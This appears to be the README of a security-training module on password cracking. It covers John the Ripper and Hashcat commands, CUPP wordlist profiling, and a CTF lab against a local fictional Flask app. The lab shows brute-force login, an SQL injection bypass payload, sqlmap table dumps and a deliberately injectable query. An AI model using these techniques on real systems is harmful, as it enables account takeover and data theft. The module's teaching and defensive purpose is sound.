# 🔑 Password Cracking

![OWASP](https://img.shields.io/badge/OWASP-A07%3A2021-red?style=flat-square&logo=owasp)
![Python](https://img.shields.io/badge/Python-3.10%2B-blue?style=flat-square&logo=python)
![Jupyter](https://img.shields.io/badge/Jupyter-Notebook-orange?style=flat-square&logo=jupyter)
![John](https://img.shields.io/badge/John_the_Ripper-CPU-lightgrey?style=flat-square)
![Hashcat](https://img.shields.io/badge/Hashcat-GPU-green?style=flat-square)

This module covers offensive password cracking techniques and their defensive implications, aligned with [OWASP A07: Identification and Authentication Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/).

It is divided into two tracks: **offline** cracking (attacking captured hash files) and **online** cracking (attacking live login forms directly).

---

## 🗂️ Module Structure

```
Password cracking/
│
├── 🖥️  offline/               ← Hash cracking without network access
│   ├── 1-Using_John_basics.ipynb
│   ├── 2-Using_John_advanced.ipynb
│   ├── 3-Using_John_applications_zip.ipynb
│   ├── 3-Using_John_applications_unix.ipynb
│   ├── 4-Using_Hashcat_basics.ipynb
│   ├── HASHCAT.md             ← Full Hashcat reference guide
│   ├── JOHN_VS_HASHCAT.md     ← Tool comparison
│   ├── cupp - password profiler/
│   ├── username generator/
│   └── Resources/
│
└── 🌐  online/                ← Attacking live login forms
    ├── Cracking_Login_Using_Hydra.ipynb
    └── mini_catch_the_flag/   ← Full CTF lab (7-phase attack chain)
```

---

## 🖥️ `offline/` — Hash Cracking

In an offline attack the attacker has already obtained a hash file (e.g. from a database dump or a `/etc/shadow` leak) and can test candidates locally at full hardware speed — **without triggering any account lockout**.

---

### 📓 `1-Using_John_basics.ipynb` — John the Ripper: Fundamentals

Hands-on introduction to **John the Ripper** (JtR), the most versatile CPU-based password cracker.

#### 🔎 Hash identification

Before cracking, you need to know the hash format. The notebook shows three approaches:

| Tool | Usage |
|---|---|
| 🌐 [hashes.com](https://hashes.com/en/tools/hash_identifier) | Online identifier |
| `hash-identifier` | Kali Linux CLI tool |
| `name-that-hash` (nth) | Suggests format names for both John and Hashcat |

```bash
nth --text '5f4dcc3b5aa765d61d8327deb882cf99'
```

#### 📖 Dictionary attack

```bash
john --format=raw-md5 \
     --wordlist=Resources/xato-net-10-million-passwords-10000.txt \
     hash.txt
```

> [!NOTE]
> John saves every cracked hash to a **potfile** (`~/.john/john.pot`) so it never re-cracks the same hash. Run `delete_john_pot.py` or `!rm ~/.john/john.pot` to reset between exercises.

#### 💥 Incremental (brute-force) mode

John's incremental mode uses a statistical model to prioritise likely character combinations rather than trying them in raw sequential order.

```bash
john --format=raw-md5 --incremental:Alpha bruteforcehash.txt
```

**Supported incremental charsets:**

| Charset | Characters |
|---|---|
| `ASCII` | All 95 printable ASCII characters |
| `Alnum` | 62 alphanumeric characters |
| `Alpha` | 52 letters (upper + lower) |
| `LowerNum` | Lowercase + digits (36 chars) |
| `Digits` | 0–9 only |

#### 📐 Search space reduction

When the password length is known, restricting `--min-length` and `--max-length` reduces the search space dramatically:

| Constraint | Combinations (Digits charset) | Reduction |
|---|---|---|
| Full incremental (1–13 chars) | 11,111,111,111,110 | baseline |
| Fixed length 11 | 100,000,000,000 | **~99.1% fewer** |

---

### 📓 `2-Using_John_advanced.ipynb` — John the Ripper: Advanced Attacks

#### 🎭 Hybrid wordlist + mask attacks

Real-world passwords are often dictionary words with suffixes appended (digits, symbols, extra characters). The `--mask` option extends each wordlist entry with a generated suffix:

| Mask | Effect |
|---|---|
| `--mask='?w?d'` | Append one digit `[0–9]` to each word |
| `--mask='?w?s'` | Append one special character |
| `--mask='?w?l'` | Append one lowercase letter |
| `--mask='?w?s?s?s'` | Append three special characters |

**Example:** `iloveyou?#!` is not in any wordlist but is cracked by:

```bash
john --format=raw-md5 \
     --mask='?w?s?s?s' \
     --wordlist=Resources/xato-net-10-million-passwords-10000.txt \
     hash.txt
```

#### 📜 Rules — transforming dictionary words

Rules apply programmatic transformations to every word in a dictionary. A single rule can generate dozens of variants per input word, covering patterns that masks cannot express.

Built-in rules of note:

| Rule | What it does | Example |
|---|---|---|
| `Reverse` | Reverses the word | `iloveyou` → `uoyevoli` |
| `Best64` | 64 high-yield common transforms | capitalise, append digits… |
| `Leet` (custom) | Substitutes letters with look-alike digits | `iloveyou` → `1loveyou` |

```bash
john --format=raw-md5 \
     --rules=Reverse \
     --wordlist=Resources/xato-net-10-million-passwords-10000.txt \
     hash.txt
```

**Custom l33t rule** (added to `john.conf`):

```
[List.Rules:Leet]
sa4
se3
si1
so0
ss5
st7
```

> [!TIP]
> Use `generate_l33t_rules.py` to produce a comprehensive set of mixed l33t substitution rules that cover all possible positions in a word — not just the first character.

#### 📊 Benchmarking John

```bash
john --test --format=Raw-MD5    # benchmark MD5 on your CPU
john --test --format=bcrypt     # benchmark bcrypt — notice the dramatic difference
```

Benchmarking reveals why **slow algorithms matter**: bcrypt is orders of magnitude slower than MD5, making it impractical to brute-force even on fast hardware.

---

### 📓 `3-Using_John_applications.ipynb` — John: Real-World Applications

#### 🗜️ Cracking password-protected ZIP archives

John can crack encrypted ZIP, PDF, Office, and SSH key files using dedicated **conversion scripts** (`zip2john`, `pdf2john`, etc.) that extract a crackable hash from the file format.

**Workflow:**

```bash
# 1. Create a ZIP protected with a weak password
zip --password password123 file.zip secret.txt

# 2. Extract the crackable hash from the ZIP format
zip2john file.zip > zip_hash.txt

# 3. Run a dictionary attack on the extracted hash
john --wordlist=Resources/xato-net-10-million-passwords-10000.txt \
     --format=pkzip zip_hash.txt
```

> [!IMPORTANT]
> This demonstrates that **file encryption only protects data as much as the password protecting it**. Encrypting a ZIP with `password123` provides the same security as no encryption at all.

---

### 📓 `4-Using_Hashcat_basics.ipynb` — Hashcat: Introduction

Introduces **Hashcat**, the GPU-accelerated password cracker. The notebook mirrors the John exercises but uses Hashcat's syntax and attack-mode system.

- **Attack mode `0`** (dictionary): `hashcat -m 0 -a 0 hash.txt wordlist.txt`
- **Attack mode `3`** (mask/brute-force): `hashcat -m 0 -a 3 hash.txt '?d?d?d?d?d?d'`
- **Benchmarking**: `hashcat -b -m 0,100,1400`

| Hash type | `-m` flag | Example speed (Apple M-series) |
|---|---|---|
| MD5 | `0` | ~2–3 billion/s |
| SHA-1 | `100` | ~1 billion/s |
| SHA-256 | `1400` | ~1 billion/s |
| bcrypt (cost 12) | `3200` | ~10–20/s |

> [!CAUTION]
> MD5 and SHA-1 can be exhausted at billions of candidates per second on a single GPU. **Never use them for password storage.**

---

### 📄 `HASHCAT.md` — Full Hashcat Reference Guide

A comprehensive command reference covering all Hashcat features, written as a self-contained practical guide.

**Contents:**

| Section | Topic |
|---|---|
| Hash types (`-m`) | Reference table of the most common formats with example hashes |
| Identifying hashes | `hashcat --identify` and external tools |
| Attack modes (`-a`) | All 6 modes explained |
| Brute force (mode 3) | Mask syntax, increment mode, `--stdout` preview |
| Dictionary (mode 0) | Wordlist attack |
| Rules (mode 0 + `-r`) | Built-in and custom rule files |
| Hybrid (modes 6 & 7) | Wordlist + mask and mask + wordlist |
| Combination (mode 1) | Concatenating two wordlists |
| Custom charsets (`-1`…`-8`) | Reducing the mask charset to known pool |
| Benchmarking (`-b`) | Speed comparison across formats |
| Quick reference | One-page cheat sheet of all common commands |

**Hashcat attack modes:**

| `-a` | Mode | Typical use case |
|---|---|---|
| `0` | Straight (dictionary) | Known wordlist, optionally with rules |
| `1` | Combination | Concatenate two wordlists (passphrases) |
| `3` | Brute-force | Known length/charset, mask-based exhaustion |
| `6` | Hybrid Wordlist + Mask | `password` → `password123` |
| `7` | Hybrid Mask + Wordlist | `password` → `123password` |
| `9` | Association | Uses username/email metadata to guide guesses |

**Speed benchmark (Apple M-series GPU via Metal):**

| Format | Speed | 1M candidates |
|---|---|---|
| MD5 | ~2–3 GH/s | 🔴 < 1 ms |
| SHA-256 | ~1 GH/s | 🔴 ~1 ms |
| NTLM | ~5 GH/s | 🔴 < 1 ms |
| sha512crypt (`$6$`) | ~500 kH/s | 🟡 ~2 seconds |
| bcrypt (cost 12) | ~10–20 H/s | 🟢 ~14 hours |
| Argon2 | ~5–20 H/s | 🟢 Days |

> [!TIP]
> Compare these numbers to John's CPU benchmark output (`john --test`). The GPU advantage is 100–1000× on fast hashes, and the gap is why bcrypt and Argon2 use **work factors** that keep them slow even on the best hardware.

---

### 📄 `JOHN_VS_HASHCAT.md` — Tool Comparison

| Feature | 🔵 John the Ripper | 🟢 Hashcat |
|---|---|---|
| Primary backend | CPU | GPU |
| Speed | Fast | ⚡ Extremely fast |
| Hash auto-detection | ✅ Yes | Partial (`--identify`) |
| Incremental mode | ✅ Yes | ❌ No (use masks) |
| Rule engine | ✅ Highly flexible | ✅ Compatible syntax |
| Best for | Research, experimentation, diverse formats | Large-scale cracking, GPU clusters |

> [!NOTE]
> The two tools are complementary. In practice, use John to explore and prototype, then run the final large-scale job with Hashcat on a GPU.

---

### 🐍 `username generator/username_generator.ipynb`

Generates all common corporate username patterns from a list of full names.

**Input** (`targets.txt`):
```
alice johnson
bob smith
```

**Output patterns** (per name):
```
alice          johnson        alice.johnson   johnson.alice
alice_johnson  a.johnson      alicejohnson    johnsonalice
Alice          Johnson        Alice.Johnson   …
```

Used in combination with the CTF lab to enumerate valid login credentials from OSINT data found on a public website.

---

### 🧠 `cupp - password profiler/`

**CUPP** (Common User Passwords Profiler) generates targeted wordlists based on personal information about a specific target — gathered from OSINT (social media, LinkedIn, public records).

```bash
python cupp.py -i    # interactive mode: input name, DOB, pet names, etc.
```

CUPP generates hundreds of personalised candidates: `alice1992`, `Alice!`, `4l1c3J0hns0n`, `alicejohnson90`, etc., including l33t variants and common suffixes.

> [!NOTE]
> CUPP illustrates the intersection of **social engineering and technical attacks**. A password cracker is only as good as its wordlist, and a personalised wordlist is far more effective than a generic one.

---

### 📦 Resources (`offline/Resources/`)

| File | Description |
|---|---|
| `xato-net-10-million-passwords-10000.txt` | Top 10,000 most common real-world passwords |
| `jtr-cheat-sheet.pdf` | John the Ripper command reference |
| `HashcatCheatSheet.v2018.1b.pdf` | Hashcat command reference |

---

## 🌐 `online/` — Attacking Live Login Forms

Online attacks target a **running application** over the network. Unlike offline cracking, every attempt goes through the server — which can observe, rate-limit, lock out, or CAPTCHA the attacker.

---

### 📓 `Cracking_Login_Using_Hydra.ipynb`

Introduction to **Hydra**, the standard tool for automated online login attacks. Hydra supports dozens of protocols (HTTP, SSH, FTP, RDP, SMTP…) and can parallelise requests across multiple threads.

---

### 🏁 `mini_catch_the_flag/` — Full CTF Lab

A complete multi-phase penetration testing exercise against **CyberCorp**, a fictional company's Flask web application. The objective is to gain access to the `/admin` panel starting from zero credentials and zero documentation.

> [!WARNING]
> This lab demonstrates OWASP A07 (Authentication Failures) and OWASP A03 (Injection) through a realistic attack chain. All tools and techniques are for **educational and authorised testing only**.

#### 🚀 Setup

```bash
cd mini_catch_the_flag/CybercorpWebsite/
python create_db.py    # initialise the database (run once)
python app.py          # start the server at http://127.0.0.1:5001
```

#### 🗺️ Attack Chain — 7 Phases

```
[1] Recon /people      →  Alice Johnson, Bob Smith, Eve Mallory, Mark Anthony
[2] Recon /apply       →  email domain: @cybercorp.com
[3] cewler scrape      →  cybercorp_dict.txt (230 words from the site itself)
[4] corp_buster.py     →  discovers /hosting (⚠️ exposed SQL query) and /smartworking
[5] usernamer.py       →  48 username candidates
[6] corp_cracker.py    →  anthony.mark@cybercorp.com : justinbieber  ✅
[7] Login → /admin     →  🏁 Flag captured
```

---

#### Phase 1 — 🔍 Reconnaissance

Manual exploration of the target application — no tools yet.

| Page | URL | 🎯 What's useful |
|---|---|---|
| Home | `/` | HTML comments with developer notes and hidden hints |
| People | `/people` | Full names of 4 employees |
| Apply | `/apply` | Company email domain (`@cybercorp.com`) |
| Products | `/products` | Search form → potential SQL injection |
| Smartworking | `/smartworking` | Login page — the primary target |

> [!TIP]
> Always read the HTML source (`Ctrl+U`) before running any tool. Developers routinely leave comments, debug notes, and internal paths in production code.

---

#### Phase 2 — 📂 Content Discovery

Manually browsable pages are only a fraction of what exists on the server. Content discovery finds hidden or unlinked paths.

**Step 2a — Custom wordlist with `cewler`:**

```bash
cewler http://127.0.0.1:5001 -d 5 -o enumeration/cybercorp_dict.txt
# → 230 words extracted from the site's own text
```

Generic wordlists miss company-specific paths. A wordlist built from the target's own content catches things like `/smartworking` or `/hosting`.

**Step 2b — Directory bruteforce with `corp_buster.py`:**

```bash
python enumeration/corp_buster.py
```

| 🔍 Found path | Status | What's there |
|---|---|---|
| `/hosting` | 200 | ⚠️ Accidentally exposed internal source code (including the SQL query) |
| `/smartworking` | 200 | 🎯 Login form — the attack target |

**Alternative professional tools:**

```bash
gobuster dir -u http://127.0.0.1:5001 -w enumeration/cybercorp_dict.txt
ffuf -u http://127.0.0.1:5001/FUZZ -w enumeration/cybercorp_dict.txt
dirsearch -u http://127.0.0.1:5001 -w enumeration/cybercorp_dict.txt
```

---

#### Phase 3 — 👤 Username Enumeration

Corporate accounts follow predictable naming patterns. `usernamer.py` takes the names found in Phase 1 and generates all common formats automatically.

```bash
python usernamer/usernamer.py
# Input:  users.txt (full names, one per line)
# Output: user_wordlist.txt (48 username candidates)
```

**Example patterns for `bob smith`:**
```
bob.smith@cybercorp.com    smith.bob@cybercorp.com
bsmith@cybercorp.com       smithb@cybercorp.com
bobsmith@cybercorp.com     bob@cybercorp.com
bob_smith@cybercorp.com    ...
```

> [!NOTE]
> Once the naming convention is identified for one employee, it applies to all. Username enumeration turns 4 names into 48 testable accounts.

---

#### Phase 4 — 🧠 Password Profiling with CUPP

```bash
python cupp/cupp.py -i    # interactive: enter target's personal details
```

CUPP generates personalised candidate passwords from OSINT data. Pre-built profiles for two CyberCorp employees are included in `cupp/`.

In this lab we fall back to a generic common-password list for simplicity, but the CUPP approach is shown for completeness.

---

#### Phase 5 — 🔓 Online Dictionary Attack

**The vulnerability: no rate limiting.**

The login form at `/smartworking` (vulnerable version) accepts unlimited attempts with no delay, no lockout, no CAPTCHA.

```bash
python cracker/corp_cracker.py
```

`corp_cracker.py` sends POST requests combining:
- **48 usernames** from `user_wordlist.txt`
- **1,000 passwords** from `Pwdb_top-1000-tiny.txt`

→ up to **48,000 requests**, completed in minutes.

**Result:**
```
✅ Found: anthony.mark@cybercorp.com : justinbieber
```

> [!CAUTION]
> Two compounding failures made this possible:
> 1. **Weak password** — `justinbieber` is in every common wordlist.
> 2. **No rate limiting** — the application placed no obstacle in the path of automated testing.

---

#### Phase 6 — 🛡️ Mitigation: Rate Limiting

Enable the hardened login in `CybercorpWebsite/app.py`:

```python
MAX_ATTEMPTS = 5      # failed attempts before lockout
LOCKOUT_TIME  = 120   # lockout duration in seconds
```

Re-running `corp_cracker.py` against the hardened version shows that after 5 attempts per username the attack stalls.

**Rate limiting is not a complete solution:**

| 🛡️ Mitigation | ✅ What it stops | ❌ What it doesn't stop |
|---|---|---|
| Rate limiting | Rapid automated guessing | Slow distributed attacks, credential stuffing |
| CAPTCHA | Fully automated bots | Human-assisted attacks, CAPTCHA farms |
| MFA | Password-only attacks | SIM swapping, MFA fatigue |
| Password policy | Common / short passwords | Reuse of previously breached passwords |
| Breach monitoring | Known-breached password reuse | Novel passwords not in breach databases |

> [!IMPORTANT]
> **Defence in depth.** No single control is sufficient. Rate limiting + MFA + parameterised queries + breach monitoring must be layered.

---

#### Phase 7 — 💉 SQL Injection Bypass

If rate limiting blocks brute force, an attacker pivots. The `/hosting` page exposed this raw SQL query:

```python
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
```

**Manual injection** — enter in the login form:

| Field | Value |
|---|---|
| Username | `' OR '1'='1' --` |
| Password | `anything` |

The query becomes:
```sql
SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = 'anything'
```

`'1'='1'` is always true. `--` comments out the rest. **Login succeeds without any valid credentials.**

**Automated SQL injection with sqlmap:**

```bash
# Discover vulnerable parameters
python sqlmap-master/sqlmap.py \
  -u "http://127.0.0.1:5001/products?search=test" --dbs

# Dump the users table
python sqlmap-master/sqlmap.py \
  -u "http://127.0.0.1:5001/products?search=test" \
  -D app -T users --dump
```

**The fix — parameterised queries:**

```python
# ❌ Vulnerable
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"

# ✅ Safe
cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password))
```

> [!CAUTION]
> SQL injection bypasses authentication **entirely**, regardless of rate limiting, CAPTCHA, or password strength. Parameterised queries are the only reliable fix.

---

#### 📁 CTF Lab Directory Structure

```
mini_catch_the_flag/
│
├── README.md                      ← lab guide (this CTF's own detailed README)
├── BrokenAuth_Online_TUTORIAL.md  ← instructor walkthrough notes
│
├── CybercorpWebsite/              ← 🎯 Flask target application
│   ├── app.py                     ← switch between vulnerable / hardened login here
│   ├── app.sql                    ← DB schema and seed data
│   ├── create_db.py               ← DB initialisation script
│   └── templates/                 ← HTML pages (source of OSINT and attack surfaces)
│
├── enumeration/
│   ├── corp_buster.py             ← directory bruteforcer
│   └── cybercorp_dict.txt         ← cewler output (230 words)
│
├── usernamer/
│   ├── usernamer.py               ← username pattern generator
│   ├── users.txt                  ← input: full names (4 employees)
│   └── user_wordlist.txt          ← output: 48 username candidates
│
├── cupp/
│   ├── cupp.py                    ← personalised password profiler
│   ├── peter.txt, andrea.txt      ← sample generated wordlists
│   └── cupp.cfg                   ← l33t mappings and year configurations
│
├── cracker/
│   ├── corp_cracker.py            ← automated login attacker (BeautifulSoup-based)
│   ├── Pwdb_top-1000-tiny.txt     ← top 1,000 common passwords
│   └── found_credentials.txt      ← attack output
│
└── sqlmap-master/                 ← SQL injection testing tool
    └── sqlmap.py
```

---

## 🔑 Key Takeaways

| Lesson | Detail |
|---|---|
| 🕵️ **OSINT feeds technical attacks** | Employee names from a public page directly enabled username enumeration |
| 🍎 **Weak passwords are low-hanging fruit** | `justinbieber` appears in every common wordlist — cracked in seconds |
| ⏱️ **Fast hashes are attacker-friendly** | MD5/SHA-1 at billions/sec on GPU — use bcrypt, Argon2 instead |
| 🚫 **No rate limit = open invitation** | Without lockout, automated tools try thousands of candidates unimpeded |
| 💉 **SQL injection bypasses everything** | Rate limiting, CAPTCHA, and MFA are useless against an injectable query |
| 🧅 **Defence in depth is mandatory** | Layer rate limiting + MFA + parameterised queries + breach monitoring |
